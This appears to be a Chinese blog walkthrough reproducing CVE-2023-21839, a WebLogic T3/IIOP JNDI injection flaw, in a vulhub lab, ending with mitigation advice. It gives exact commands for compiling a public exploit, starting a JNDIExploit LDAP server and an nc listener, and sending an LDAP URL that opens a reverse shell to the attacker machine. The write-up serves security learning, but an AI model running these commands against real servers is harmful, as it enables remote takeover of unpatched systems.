CVE-2023-21839漏洞复现(基于vulhub)

一、漏洞简介

由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。

二、漏洞影响版本

Oracle WebLogic Server == 10.3.6

Oracle WebLogic Server == 12.1.3

(注:10.3.6及12.1.3 版本目前官方已停止维护)

Oracle WebLogic Server == 12.2.1.3.0

Oracle WebLogic Server == 12.2.1.4.0

Oracle WebLogic Server == 14.1.1.0.0

三、漏洞成因

由于Weblogic t3/iiop协议支持远程绑定对象bind到服务端,并且可以通过lookup查看,当远程对象继承自OpaqueReference时,lookup查看远程对象,服务端会调用远程对象getReferent方法。weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。
具体产生原因参考:
CVE-2023-21839分析 - 先知社区

四、漏洞复现

环境搭建

靶机:Ubuntu  192.168.30.134
攻击机:kali  192.168.30.135

基于vulhub靶场

cd /weblogic/CVE-2023-21839    #进入靶场所在目录
docker-compose up -d   #启动weblogic靶场环境
docker ps  #查看端口号
访问 http://ip:port/console

显示以下界面则环境搭建完成
image.png

复现过程

工具的下载

漏洞利用exp地址:
https://github.com/4ra1n/CVE-2023-21839

将文件下载后解压
之后进入cmd目录下
只有一个main.go文件
image.png
需要使用go环境进行编译
得到可执行文件(.exe)

go环境的搭建参考:
https://blog.csdn.net/liu_chen_yang/article/details/132012969

配置好go环境后
使用以下命令编译go文件

go build -o  xxx.exe    xxx为生成的exe文件的文件名

成功生成.exe文件
image.png

至此 exp工具搭建完毕

JNDI注入工具
下载地址:
https://github.com/WhiteHSBG/JNDIExploit/releases/tag/v1.4

下载完工具后解压
image.png
用法:

java -jar  JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.xxx.xx
#最后的ip地址为起ldap服务的ip地址 

攻击

首先使用jndi利用工具
运行以下命令 启动ldap服务

java -jar  JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.xxx.xx
#ip地址为攻击机地址或者本地主机地址
#由于我的kali攻击机的java版本过高 所以使用本机ip启动
#也可以将kali的java版本降低

image.png
出现上述形式 则表示成功启动ldap和http服务(本次实验实验ldap服务)

之后使用kali 启动监听 监听端口为7777

nc -lvvp 7777

image.png

最后使用编译好的exe文件 运行以下命令

CVE-2023-21839.exe -ip 192.168.xxx.xx -port 7001 -ldap ldap://192.168.xxx.xx:1389/Basic/ReverseShell/192.168.xxx.xx/7892
#第一个ip地址为靶机的IP地址  
#第二个IP地址为启动ldap服务的IP地址 
#第三个ip地址为攻击机ip地址(反弹地址+port)

回车执行
出现以下界面
image.png

而在启动ldap服务窗口
显示访问Basic/ReverseShell/192.168.xxx.xx/7892
状态码为200
image.png

已经执行反弹shell命令
之后到kali中查看是否反弹shell界面
反弹shell成功
image.png

反弹shell不成功可能是由于java版本过高
建议使用jdk1.8

五、修复建议

  1. 使用连接筛选器临时阻止外部访问7001端口的T3/T3s协议
  2. 禁用IIOP协议。
  3. 升级weblogic版本,更新最新补丁。

参考文章:

https://blog.csdn.net/Myu_wzy/article/details/130406912
https://blog.csdn.net/qq_69775412/article/details/132189767

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值